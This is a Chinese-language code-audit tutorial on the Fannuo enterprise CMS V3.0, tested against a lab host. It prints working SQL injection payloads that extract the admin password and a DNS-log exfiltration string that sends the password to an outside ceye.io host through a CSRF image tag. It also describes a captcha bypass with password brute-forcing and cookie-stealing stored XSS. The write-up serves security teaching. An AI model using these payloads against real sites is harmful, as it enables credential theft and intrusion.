凡诺企业网站管理系统V3.0代码审计

 

0×00 前言

大家好,我是掌控安全学院的聂风,在此,我做一个代码审计的文章分享来方便同学们学习。我逛了逛CNVD,发现有一个叫做凡诺企业网站管理系统的后台SQL注入,5月30日发布,到7月中旬已经20多万的点击量,位列CNVD点击量的第三名,这次代码审计决定通读全文来审计该CMS.

 

0×01 环境搭建

Phpstudy

fannuo_php_3.0免费版源码(http://www.pcfinal.cn/channel/ecms.html)

代码审计工具(Seay源代码审计系统)

 

0×02 代码审计过程

源码放入网站根目录,然后去访问Web地址,然后自动跳转到了安装界面,来分析分析源码。

第一开始访问到的是install/index.php文件,这个文件包含了函数库

include(‘../system/library.php’);

然后开始细细读取代码,发现我们填入的数据会直接写入/system/data.php

于是乎突发奇想,想试试能不能直接插入一句话木马,结果CMS的开发也考虑到了这个问题,

如果连接失败的的时候,写入的东西都在注释中,于是乎就想跳出注释,尝试了好多方法都没解决,然后就放弃这里了,安装这个文件颇为简单,就是将正确的数据库连接什么的写入data.php,然后将默认数据导入数据库,且将index.php重命名为index.lock。

默认账号密码:admin admin

安装完毕后,我们打开根目录index.php这个文件

包含 inc.php和 safe.php

这里有个自定义函数ism()  查看了一下,实际上是返回一个false,那么这里就是包含了$dir.$t_path.index.php

我们去看看inc.php里面有什么吧

Inc.php作用:

$dir = __FILE__

包含system目录下的四个文件

conn.php、library.php、config.php、function.php

conn.php作用:

设置了时区、编码,开启了session,缓冲激活(ob_start),然后文件包含了data.php,就是数据库的连接配置文件。然后选择了数据库,指定了数据库格式是utf-8.

Config作用:

从数据库中的cms_system表中取id=1得数据,然后赋值给各种变量,然后执行数据库查询语句,会将cms_system中得到的s_template、

s_mtemplate 两个字段值 一个是1 还有一个是m1 ,然后将这两个数值作为t_path字段的条件去查询cms_template。好吧,里面只是一些图片而已,是Logo。 1代表电脑模板1 ,m1代表手机模板2,然后又定义了各种各样函数(这个地方记录一下,如果cms_system表中的s_template、s_mtemplate字段可以控制的话,那就有可能存在一个二次注入)

里面还定义了 $t_mpath =/template/m1/

Library.php和Function.php定义各种各样的函数(遇到函数跳过去就行,到时候用到来查)

那么我们现在知道了

 

$t_mpath =/template/m1/

$t_path =/template/1

$dir = __FILE__

$dir.$t_path.index.php => __FILE__/template/1/index.php

我们再看看safe.php这个文件

一打开就是三个正则,是对GET|POST|Cookie传参的过滤,感觉是过滤SQL注入和XSS的

$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";



$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";



$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

先不分析,先看完这个文件吧(这个是360的通用防护)

定义了一个函数,StopAttack ,当正则匹配到了就输出非法操作,然后匹配不分大小写,任意匹配不匹配换行(\n),然后怎么匹配就看上面的正则了。

这个安全机制我觉得可以绕过,因为不仅仅是存在GET POST COOKIE 传参,还有一些IP agent-User之类的也可能会去获取,那么这里获取这些岂不是就可以绕过安全限制了(ip我看了,他居然有检测,Ip不用想了,用了 ip2long,如果返回False就设定ip为0.0.0.0)

我们来查看$dir.$t_path.index.php => __FILE__/template/1/index.php (这个页面HTML和PHP混合页面)

然后看到了第10行的<?php include($dir.$t_path.’inc_head.php’);?> 包含了inc_head.php文件

Inc_head.php里面实际上是一些Js和css脚本地址的定义,是由$s_path来控制的,如果我们控制的了这个,那么可以尝试打一个XSS 。

然后又是一个文件包含

include($dir.$t_path.'inc_header.php')

于是乎查看下inc_header.php这个文件(就是个页面顶部构成,就是查询cms_channel表里面的数据,然后输出,数据就是模块标题什么的)

然后后面第53行那个语句也差不多,只是换了一个表cms_slideshow

然后81行我看到了第一个表单,GET请求search.php

看到下面还去查询了cms_detail的数据然后输出

还有cms_link也有输出

看到318行又是喜闻乐见的文件包含

<?php include($dir.$t_path.'inc_footer.php');?>

Inc_footer.php文件里面也没啥有营养的东西,留了一个网站的导航,咦~第19行居然调用了第一个函数get_chip(1) 有点小兴奋,我们去看看她是干什么的,赶紧的找一找,在Config.php文件的第110行被定义。

他去查询cms_chip表里面的数据,然后输出c_content字段的值

后面就没什么东西了,我们算是看完了这整个index.php文件,然后我们收获了什么,遇到的东西都记录下?

$s_path 决定的href的链接方向(Js css ),可控制就代表构建XSS

有输出的表(如果能改里面数据就可能有XSS):

cms_slideshow

cms_channel

cms_detail

cms_link

get_chip() 函数我能控制值就能尝试SQL注入(拿好小本本记录下)

然后我们去看这文件吧

search.php (注:我们这里是index包含文件中西得search.php的表单地址,那么相对路径是index.php的同级目录,我这里差点没注意,因为index.php包含的文章中有template文件夹下面1的index.php,那个文件夹内也有search.php)

这个文件还是老一套的包含inc.php和system/safe.php

然后GET接受Key的传参,然后赋值给$key 然后调用template/1/search.php。

然后文件执行SQL语句

$sql = 'select id,d_name,d_picture,d_scontent,d_date from cms_detail where d_name like "%'.$key.'%" order by d_order desc , id desc';

我尝试构建了语句发现(我现在是先删除了Safe.php文件的)

select id,d_name,d_picture,d_scontent,d_date from cms_detail where d_name like "%1%\"order by d_order desc , id desc and sleep(5) -- %" order by d_order desc , id desc limit 0,20

咦?怎么会有转译符号,魔术引号我没有开呀,那就开始排查吧。我找到search.php,在文件最上面写输出$key,输出的时候已经被转译了,经过测试,发现是inc.php文件造成的,仔细找了找,我在system中的livrary.php文件中的第35行看到了(这个CMS感觉安全性很强呀!)

 

用了这么个函数addslashes_deep()       这是个自定义函数,在library.php的第47行

如果是数组,就拆分开来执行,反正就是要执行addslashes() 只能依靠编码了,如果绕过了编码那么safe那个文件的正则也能绕过。

好吧,我们接着会search.php文件,下面就是一个分页和时间,完全没有办法呀

我们看看关于我们这个板块吧channel.php

这文件也没什么亮点,唯独就是cms_channel的$c_parent 和 $c_id 字段可以控制也可以尝试二次注入

最下面是读取频道模型

c_article.php

c_article_d.php

c_article_w.php

c_picture.php

c_picture_d.php

c_picture_w.php

c_spage.php

我们看看关于我们这个板块吧detail.php玩意

这里居然有一句更新语句:sql_query(‘update cms_detail set d_hits = d_hits + 1 where id = ‘.$_GET[‘id’].”);

好吧这玩意感觉没用,但是如果能够跳出safe.php和魔术引号还有non_numeric_back($_GET[‘id’],’非法字符’);

再看看feedback.php这个文件

如果$_POST触发了Save 然后 接受了后插入数据库,然后我们看了下输入的数据会处理,clear_html函数进行处理。

clear_html() 进行好几步处理,第一步,strip_tags() 去除所有html标签, trim()移出空格 preg_replace() 替换掉\f\n\r\t\v 为空,

利用arrtoinsert这个自定义函数将$_data 这个数组进行处理,将数组转换为insert语句的字符串。前台留言似乎前台看不到,数据库f_ok来决定是否在前台展示。

在看看sitemap.php文件,也没用什么东西,我们只能去后台看看吧

访问admin文件夹,发现index.php直接跳转到cms_login.php

它包含了cms_inc.php (这个文件包含了很多文件,其实就是最前面分析过的4个,conn.php、library.php、config.php、function.php)

然后它写了验证码的机制

$_SESSION[‘verifycode’] != $_POST[‘verifycode’] 会报验证码错误

验证码机制的核心是system下面的verifycode.php文件,开启了session 然后创建了画布,和颜色,然后通过一下代码生成验证码。

$str = '0123456789';

$rand_str = '';

for ($i = 0; $i < 4; $i++){

              $k = mt_rand(1, strlen($str)); //选择1-10

              $rand_str .= $str[$k - 1];

}

$_SESSION['verifycode'] = $rand_str;

Mt_rand 实际上是个伪随机数我看看能不能算出来(算出来又有什么用?利用条件这么苛刻,没有必要往这条路去走,我们跳过这里吧)

然后正常后台登陆吧,看了校验机制。

登陆后会设置cookie,然后跳转到cms_channel.php文件

然后查看cms_channel文件,有了重大发现

他原本每个文件都会包含./system/safe.php 这个文件,现在进入后台居然不再包含,而去包含cms__check.php。说明什么?安全问题的本质是什么?是信任,这里很明显是因为登陆后台的就认定为管理员,然后开发信任管理员,将安全机制给去除了一部分。

然后本身包含inc也变为了cms_inc.php

那如果说cms_in.php中没有魔术引号,且cms_check.php没有防护代码,那么后台不就很危险了,然后我们尝试用CSRF,然后配合DNS log 注入。(完美)

走走走走~开车了~我们去看看cms_inc.php

他包含了几个文件,和inc差不多,唯一区别就是inc.php有这样一句话

$dir = dirname(__FILE__);

我们去寻找一下livrary.php文件中的第35行,没事了,魔术引号还在。

我们去看看cms__check.php这个文件吧,这文件就是一个检测Cookie的文件,他的检测机制还有点好玩~

每次访问页面居然直接通过cookie中的传参去查询数据库,那么我们是不是相当于这里绕过了验证码?

我们在非登陆状态,然后直接访问admin文件夹下面的cms_channel.php,然后填充Cookie

然后放包过去,然后成功的访问成功了

成功进入后台,这里审计出了第一个逻辑漏洞,验证码可绕过,我们尝试把密码放在字典里面,拿Burp去跑包试试看能不能。

拿md5的字典去跑

很明显,密码跑出来了,解密下密码就是admin

找到第一个漏洞,逻辑漏洞-验证码可绕过

感觉自己心情好了很多,之前看他的前台,看的好难受的,没想到后台一看就找到问题了。

来,我们继续回到cms_Channel.php

看到第三行,这里有个SQL语句,然后似乎del语句本身的传参,就没有引号,我们是不是可以直接SQL注入?

我尝试了一下报错了。

 

http://192.168.32.138/admin/cms_channel.php?del=123456

and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

 

直接sqlmap能跑出来,报错注入和盲注

我偷懒了,直接贴sqlmap的payload吧

http://192.168.32.138:80/admin/cms_channel.php?del=123456 OR ROW(9594,6255)>(SELECT COUNT(*),CONCAT(0x716b766b71,(SELECT MID((IFNULL(CAST(a_password AS CHAR),0x20)),1,54) FROM fr.cms_admin ORDER BY a_password),0x71767a6b71,FLOOR(RAND(0)*2))x FROM (SELECT 8439 UNION SELECT 7584 UNION SELECT 8267 UNION SELECT 7159)a GROUP BY x)

密码被炸出来了,感觉美滋滋

那么后台怎么炸?其实可以多考虑一点,如果存在CSRF的话我们可以用CSRF配合dns log注入。Dns log注入语句构建完毕(有魔术引号怕啥,我有16进制)(这里要Mysql的 load_file可以用)

 

http://192.168.32.138:80/admin/cms_channel.php?del=123456

and LOAD_FILE(CONCAT(0x5c5c5c5c,(SELECT a_password from cms_admin limit

0,1),0x2e6870307a79722e636579652e696f5c5c616263));

 

CSRF这个漏洞肯定存在,我到现在没有看到任何CSRF防护代码。

直接写一个img标签,然后藏在哪个网站首页,管理员去点击就中招

直接出密码了,这SQL注入还是有利用的意义的!!!

第二个漏洞,SQL注入

然后过了这块代码吧,del那个地方也是有问题的。

然后查看第22行的包含(没啥东西)

<?php include('./cms_inc_head.php') ?>

然后查看第25行和第64行的包含都没啥东西。

然后我们去看看其他文件吧

看看cms_admin.php文件

这个文件第8行又出现了这样的语句

这里是什么情况,这个确定不是再逗我么?

判断传参是否存在,传参存在就执行弹窗。传参不存在执行else部分。。。

这个地方写的很有问题。。。这个删除功能是失效的。

看到第30行

很明显,我们控制住a_tname传参就可以尝试SQL注入,我把这个代码单独拿了出来

很明显我们可以构建a_tname的传参就可以控制SQL注入。

a_tname= bbb" and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1) --+

但是这有魔术引号,看来是不行了。

查看现有页面,发现输出

可以尝试存储型XSS

轻松的获取Cookie

依靠CSRF,可以直接打后台XSS偷取管理员的Cookie。

我们再看看cms_admin_edit.php文件

这里很明显有个id传参。这里应该可以SQL注入,我也就直接Sqlmap了吧

这个地方也可以配合CSRF+Dns log来获取密码

第40行也有问题

这里还能联合查询呢

 

0×03 总结

其实该CMS所存在的漏洞不仅仅只有这些,我文章中的这些也只是一个抛砖引玉,只是为了阐述通读全文的审计方法,如果我文章中有什么写的可以再改进的地方,可以随时联系我!谢谢大家花费了时间来读在下的粗鄙小文,谢谢大家。

(完)